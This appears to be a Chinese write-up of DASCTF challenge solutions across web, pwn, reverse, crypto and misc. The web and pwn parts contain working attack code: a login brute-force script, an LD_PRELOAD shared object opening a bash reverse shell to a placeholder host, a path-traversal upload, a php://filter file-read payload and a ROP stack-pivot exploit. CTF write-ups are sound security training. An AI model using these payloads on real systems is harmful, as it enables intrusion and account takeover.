文章目录
- Web
- 简单的登录
- web-game-1-2
- ezphp2
- easyLD
- web-include-1-1
- Pwn
- justread
- Reverse
- EzGo
- MediumRev
- Crypto
- easyhash
- crypto-rsa-1-1
- crypto-classical-1-1
- Misc
- No.11 is gone2
- misc-zip-1-1
- misc-pic-1-1
Web
简单的登录
给了信息 账号为学号密码为电话,写脚本爆破
import requests
import time
url = "http://80.endpoint-510c6a2a3fca48e49b021dbc9865ebc5.m.ins.cloud.dasctf.com:81/login.php"
cookies = {"PHPSESSID": "c5372a4bf02885b3eaed1a255ccdc537"}
import itertools
data = {
"20220890": "139***41269",
"20220106": "185***95678",
"20220323": "157***14002",
"20210271": "159***56321",
"20200321": "159***33221",
"20220909": "137***21234",
"20220981": "136***49043",
"20221261": "158***77892"
}
combinations = [''.join(p) for p in itertools.product("0123456789", repeat=3)]
for key, value in data.items():
for tel in combinations:
tel1 = value.replace('***', tel)
data = {"username": f"{key}", "password": f"{tel1}"}
while True:
a = requests.post(url, cookies=cookies, data=data)
time.sleep(0.2)
if a.status_code == 429:
time.sleep(1)
else:
break
if '<div class="error-msg">账户或密码不正确</div>' in a.text:
print(key, tel1)
print("登录失败")
else:
print(a.status_code, key, tel1)
exit()
得到账号密码:20210271 15978456321
登陆后台命令执行:nl flag.txt
web-game-1-2
scene.js
发现有发起http请求,但是关键参数被十六进制编码了
解码发现就是给getgame.php
传一个POST参数sunnum
,猜测就是传数值大于多少就返回flag
直接传大一点的值,回显flag
ezphp2
<?php
error_reporting(0);
$Seed = str_split(uniqid(),10)[1];
extract(getallheaders());
mt_srand($Seed);
$Flag = str_split(file_get_contents("/flag"));
$Result = "";
foreach ($Flag as $value){
$Result = $Result . chr(ord($value)+mt_rand(1,2));
}
if (isset($Answer)){
if ($Answer == substr($Result,0,strlen($Answer))){
echo "wow~";
}else{
echo "no~";
}
}else{
highlight_file(__FILE__);
echo "no~";
}
提供随机数种子,answer
会和目标进行比较
import requests
import time
url = "http://80.endpoint-2d1f3f78be324607a1d61565983754f5.m.ins.cloud.dasctf.com:81/"
def req(flag, s):
for i in range(33, 128):
flag = flag[:s] + chr(i)
headers = {"Cache-Control": "max-age=0", "DNT": "1", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate", "seed": "2", "answer": flag,
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"}
while True:
a = requests.get(url, headers=headers)
time.sleep(0.2)
if a.status_code == 429:
time.sleep(1)
else:
break
print(a.text)
if 'wow~' in a.text:
return chr(i)
flag = ''
tmp = ''
for i in range(0, 50):
result = req(tmp, i)
tmp += result
print(tmp)
# FCUEVH};7986:963:;366625418497884:53493~
php还原
<?php
$Seed = 2;
$Result = "FCUEVH};7986:963:;366625418497884:53493~";
mt_srand($Seed);
$Flag = "";
for ($i = 0; $i < strlen($Result); $i++) {
$char = $Result[$i];
$original_char = chr(ord($char) - mt_rand(1, 2));
$Flag .= $original_char;
}
echo $Flag;
?>
php5执行,得到flag
DASCTF{96865985289254513206286663932372}
easyLD
编译so文件
#include <unistd.h>
static void before(void) __attribute__((constructor));
static void before(void)
{
unsetenv("LD_PRELOAD");
system("bash -i >& /dev/tcp/xxx.xx.xx.xx/9999 0>&1");
}
gcc -shared -fPIC eval.c -o eval.so
然后上传
import requests
url = 'http://8000.endpoint-cb07830ae1724a76b05825d83710a85a.m.ins.cloud.dasctf.com:81/upload'
name = "eval.so"
with open(f"{name}", 'rb') as file:
files = {'file': (f"{name}", file, 'image/png')}
data = {
'uploadPath': '../../../../../../../../../../../../../../../../../../'
'../../../../../../../../../../../../../../../../../../../../../'
'../../../../../../../../../../../../../../../../../../../../'
'../../../../../../../../../../../../../../.'
'./../../../../../../../../../../../../../../../../../../../'
'../../../../../../../../../../../../../../../../../../../..'
'/../../../../../../../../../../../../../../../../../../../../'
'../../../../../../../../../../../../../../../../../../../../../.'
'./../../../../../../../../../../../../../../../../../../../../../',
'env': f"LD_PRELOAD=/{name}"
}
response = requests.post(url, data=data, files=files)
print(response.text)
上传过程中后台在开个burp来触发执行环境变量
在监听端即可获得shell
web-include-1-1
读index
有输出源码,猜测为include($file.'.php');
,直接伪协议读flag:?file=php://filter/convert.base64-encode/resource=flag
Pwn
justread
栈迁移,没开PIE,不过题目没给libc版本,远程连接上后根据leak出的地址,估计是libc2.23
,这里给出的偏移是错的
Exp
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'debug') #info
path = "./pwn"
#p = process(path)
p = remote('tcp.cloud.dasctf.com', 25949)
elf = ELF(path)
libc = elf.libc
def g():
gdb.attach(p)
raw_input()
sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendafterline(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
inv = lambda : p.interactive()
pop_rdi = 0x0000000000400723
leave_ret = 0x0000000000400691
bss = 0x601000
bss1 = bss + 0x500
vuln_read = 0x400675
vuln = 0x4006a6
ru(b'just read!\n')
pay1 = b'A' * 0x40 + p64(bss1) + p64(vuln_read)
sd(pay1)
pay2 = p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(vuln)
pay = pay2.ljust(0x40, b'B') + p64(bss1 - 0x48) + p64(leave_ret)
sd(pay)
puts_addr = u64(ru(b'\x7f')[-6: ].ljust(0x8, b'\x00'))
print('puts_addr = ', hex(puts_addr))
libc_base = puts_addr - 0x6f6a0
system_addr = libc_base + 0x453a0
bin_sh = libc_base + 0x18ce57
bss2 = bss1 + 0x300
pay3 = b'A' * 0x40 + p64(bss2) + p64(vuln_read)
ru(b'just read!\n')
sd(pay3)
pay4 = p64(pop_rdi + 1) * 2 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
payload = pay4.ljust(0x40, b'D') + p64(bss2 - 0x48) + p64(leave_ret)
sd(payload)
inv()
Reverse
EzGo
首先找到main_main
函数,然后发现发编译不完全,但是我们可以看汇编得到相应逻辑
这里我们不难发现,首先是提示输入flag之后进入encryptFla
g函数对输入进行加密加密之后再跟
QWsYXVkrite0ipkr/Qj07p40zEjY3EnDWZJCWrnZmquTmZH0mvCOWrmYmv1OWr4snVjNmvLr3ygridFOjV7aeyeQFsuk
进行比较 所以我们只要关注encryFlag做了什么就知道
如下图 发现他只做了一个base64加密 但是base64加密 他在初始化的时候换了 编码表 然后倒序了一下 我们只要换表base64解密然后逆序输出就能得到flag
data = '}5ma3rd_r13h7_f0_y7ua3b_n!_3v3!l3b_0hw_350h7_0t5gn0l3b_3ru7uf{FTCSAD'
print(data[::-1])
# DASCTF{fu7ur3_b3l0ng5t0_7h053_wh0_b3l!3v3_!n_b3au7y_0f_7h31r_dr3am5}
MediumRev
IDA反编译发现一个函数有花指令,先去除花指令
去除花指令之后 函数如下
int __cdecl sub_411840(char *a1, size_t Size)
{
char v2; // al
char v3; // al
char v5; // [esp+0h] [ebp-1ACh]
char v6; // [esp+D3h] [ebp-D9h]
unsigned int i; // [esp+DCh] [ebp-D0h]
unsigned int j; // [esp+DCh] [ebp-D0h]
size_t v9; // [esp+E8h] [ebp-C4h]
unsigned int v10; // [esp+E8h] [ebp-C4h]
size_t v11; // [esp+E8h] [ebp-C4h]
size_t v12; // [esp+100h] [ebp-ACh]
char Buf1[52]; // [esp+118h] [ebp-94h] BYREF
char *v14; // [esp+14Ch] [ebp-60h]
char *v15; // [esp+158h] [ebp-54h]
_WORD Buf2[34]; // [esp+164h] [ebp-48h] BYREF
j_memset(Buf2, 0, 0x40u);
v15 = (char *)Buf2;
v14 = a1;
qmemcpy(Buf1, &encode, 0x2Bu);
v12 = Size / 6;
while ( *v14 )
*v15++ = *v14++;
v9 = 0;
v15 = (char *)Buf2;
while ( v9 < v12 )
{
for ( i = 0; i < 6; ++i )
{
v2 = sub_41123F(*v15, i + 1);
*v15++ = byte_41B004[0] ^ v2;
}
++v9;
}
v10 = 0;
v15 = (char *)Buf2;
while ( v10 < 6 )
{
v6 = *v15;
for ( j = 0; j < v12 - 1; ++j )
{
*v15 = v15[1];
++v15;
}
*v15++ = v6;
++v10;
}
v11 = 0;
v15 = (char *)&Buf2[3 * v12];
while ( v11 < Size % 6 )
{
*v15 = byte_41B004[2] ^ (byte_41B004[1] + *v15);
v3 = sub_411181(byte_41B004[0] + *v15, v11 + 3);
*v15 = byte_41B004[3] ^ (4 * ((byte_41B004[1] >> 1) ^ v3));
++v11;
}
if ( !j_memcmp(Buf1, Buf2, Size) )
return printf("Success!\n", v5);
else
return printf("Fail.\n", v5);
}
逻辑很简单,但是需要逆向算法,这边我们可以先dump数据
s = [ 0x07, 0x3D, 0x63, 0xF5, 0x4E, 0xEA, 0x75, 0x11, 0x04, 0xEE,
0x5E, 0x6E, 0x9B, 0x8A, 0x44, 0xF4, 0xB2, 0xF8, 0x1B, 0x39,
0x99, 0xF4, 0xF6, 0xCE, 0x80, 0x39, 0x54, 0xA2, 0x93, 0xF8,
0x8C, 0x9B, 0xA2, 0xEC, 0xFC, 0x6D, 0x19, 0xB1, 0x04, 0xDC,
0xA2, 0x93]
核心就是先把输入分成7组,对每组的每个字节进行移位和异或,其中异或值就是根据反调试来的
然后将输入分成7组进行每组的移动位置
最后如果输入不是6的倍数则对剩余字节进行的加密
Exp
s = [0x07, 0x3D, 0x63, 0xF5, 0x4E, 0xEA, 0x75, 0x11, 0x04, 0xEE, 0x5E, 0x6E, 0x9B, 0x8A, 0x44, 0xF4, 0xB2, 0xF8, 0x1B, 0x39, 0x99, 0xF4, 0xF6, 0xCE, 0x80, 0x39, 0x54, 0xA2, 0x93, 0xF8, 0x8C, 0x9B, 0xA2, 0xEC, 0xFC, 0x6D, 0x19, 0xB1, 0x04, 0xDC, 0xA2, 0x93]
x = 0x57
#s = [0x94, 0x3E, 0x6B, 0xC1, 0x94, 0xC1, 0xC1, 0x3E, 0x6B, 0xC1, 0x94, 0xC1, 0x94, 0x94, 0x6B, 0xC1, 0x94, 0xC1, 0x94, 0x3E, 0x3E, 0xC1, 0x94, 0xC1, 0x94, 0x3E, 0x6B, 0x6B, 0x94, 0xC1, 0x94, 0x3E, 0x6B, 0xC1, 0xC1, 0xC1, 0x94, 0x3E, 0x6B, 0xC1, 0x94, 0x94]
#s = [0x43, 0x74, 0x2E, 0x83, 0x98, 0xC0, 0x6B, 0x3E, 0x1B, 0xF1, 0x80, 0xC3, 0x56, 0xD4, 0x5B, 0xD1, 0x90, 0xC1, 0x55, 0xFE, 0x7F, 0xE1, 0xB8, 0xC4, 0x54, 0x7E, 0x7B, 0x3B, 0x88, 0xC2, 0xD5, 0xBE, 0xDB, 0x91, 0xC1, 0x41, 0x94, 0xDE, 0x0B, 0xE9, 0xAD, 0x9C]
def shift(a, b):
v4 = b&7
if v4:
return (((a >> (8 - v4))&0xff) | ((a << v4)&0xff))
else:
return a
for i in range(6):
tmp = s[7*i+6]
for j in range(6, 0, -1):
s[7*i+j] = s[7*i+j-1]
s[7*i] = tmp
#print(s)
for i in range(7):
for j in range(6):
s[6*i+j] ^= x
#print(s[6*i+j])
s[6*i+j] = shift(s[6*i+j], j+1)
print(bytes(s))
# DASCTF{w257Br3v1ty_1s_th3_s0u1_of_w1t975q}
Crypto
easyhash
根据题目提示找到这样一篇文章:同态哈希函数(Homomorphic Hashing) - 知乎 (zhihu.com)
也就是利用指数运算的乘法同态性实现了:明文和的哈希值等于部分明文的哈希值的乘积
利用上述同态性,还原i为5,6,9时的哈希值乘积。设这一乘积为 h h h,hint.txt中所有哈希值乘积为 f f f则有: ( f ⋅ h ) m o d p = H = 1403 (f \cdot h)modp =H=1403 (f⋅h)modp=H=1403
满足条件计算的结果有两个:414966713
和414968256
分解后者发现其有一个因子为6733
,不满足小于p的条件于是排除。那么直接确定了三个哈希值乘积为414966713
。
利用yafu分解414966713
,用因子进行组合,利用三个因子且均不大于p的条件可得几种组合可能。然后用sage的log求离散对数。
from Crypto.Util.number import *
facs = [[61*7,47*23,31*29],[61*7,47*29,31*23],[61*7,47*31,29*23],[61*23,47*7,31*29],[61*23,47*29,31*7],[61*23,47*31,7*29]]
for i in facs:
try:
for j in i:
t1 = G(j).log(g)
print(chr(t1),end='')
print()
except:
continue
flag = 'DASCTF{'+ '48' + '1' + '8caa75b2d7586e96f4c552ded3654}'
print(flag)
# DASCTF{4818caa75b2d7586e96f4c552ded3654}
crypto-rsa-1-1
from Crypto.Util.number import *
from Crypto import *
import gmpy2
import libnum
n1=9116072673585619132111895403642168497263071691827949298017531396382827298782303749867264589825807183797020472968464660582686417921434431658511530041563901
n2=9676471733476806363827533442570967957871359923261140318101161479170327996682930238809368950608051282208303548660410073403065643718187781752130771337383629
c1=8824462894263393560944306775755201891143487603309462108944270494215822172733677936731309917183407096166230876035017809219712288813600390461631853255239986
c2=5015105118262293349286521985688699702504989063271993070991789714282577934372078450119431649574609758836593485914932778436203219098204688867565801371889451
e=65535
q=gmpy2.gcd(n1,n2)
p1=n1//q
phi_n=(q-1)*(p1-1)
d1=libnum.invmod(e,phi_n)
m=pow(c1,d1,n1)
print(long_to_bytes(m))
# DASCTF{09e6e620057c5df8bd6b95042f8ac11b}
crypto-classical-1-1
base64换表,根据题目提示旋转,猜测表为Rot13
Misc
No.11 is gone2
ftp
传输了68
个zip
,但是使用tshark
导不出来,不知道是因为这里是字节码的缘故还是过滤语法和字段有问题
后面实在没办法了,就手工一个一个提取了
这个长度很明显可以CRC爆破明文,提取出来之后脚本处理获取所有zip的CRC
import zipfile
crc_list = []
for i in range(1, 68 + 1):
zipFileName = './gone2/{}.zip'.format(i)
file_handler = zipfile.ZipFile(zipFileName)
name = file_handler.namelist()[0]
name_info = file_handler.getinfo(name)
crc_list.append(hex(name_info.CRC))
print('[+] {0}: {1}'.format(name,hex(name_info.CRC)))
print(crc_list)
然后使用crc32
爆破明文,也是同样苦逼手工,没有找到能够批量的方法
PS:注意11.zip是不一样的,11.zip是有加密的密码
最后解hex再解base64就可以了
但是导出打开有问题,发现是flag.txt
文件名的位置没有补全
尝试补全之后即可正常打开
有密码,猜测密码是在11.zip
中,但是试过伪加密发现不对,尝试爆破发现密码为: 1234
解压得到密码:p@33w07D1sE4sy
解压flag.zip
得到flag
DASCTF{69a7c3f8eae457779f53be70a7e14a87}
misc-zip-1-1
直接根据提示掩码爆破
解压得到flag: DASCTF{b239dcd0fe7b6969b82b8abe1b7bb711}
misc-pic-1-1
EXIF
PS D:\Tools\Misc\crc32> php -r "var_dump(hex2bin('4441534354467b36346466336465313562643531653363626131353764363232386464613336387d'));"
Command line code:1:
string(40) "DASCTF{64df3de15bd51e3cba157d6228dda368}"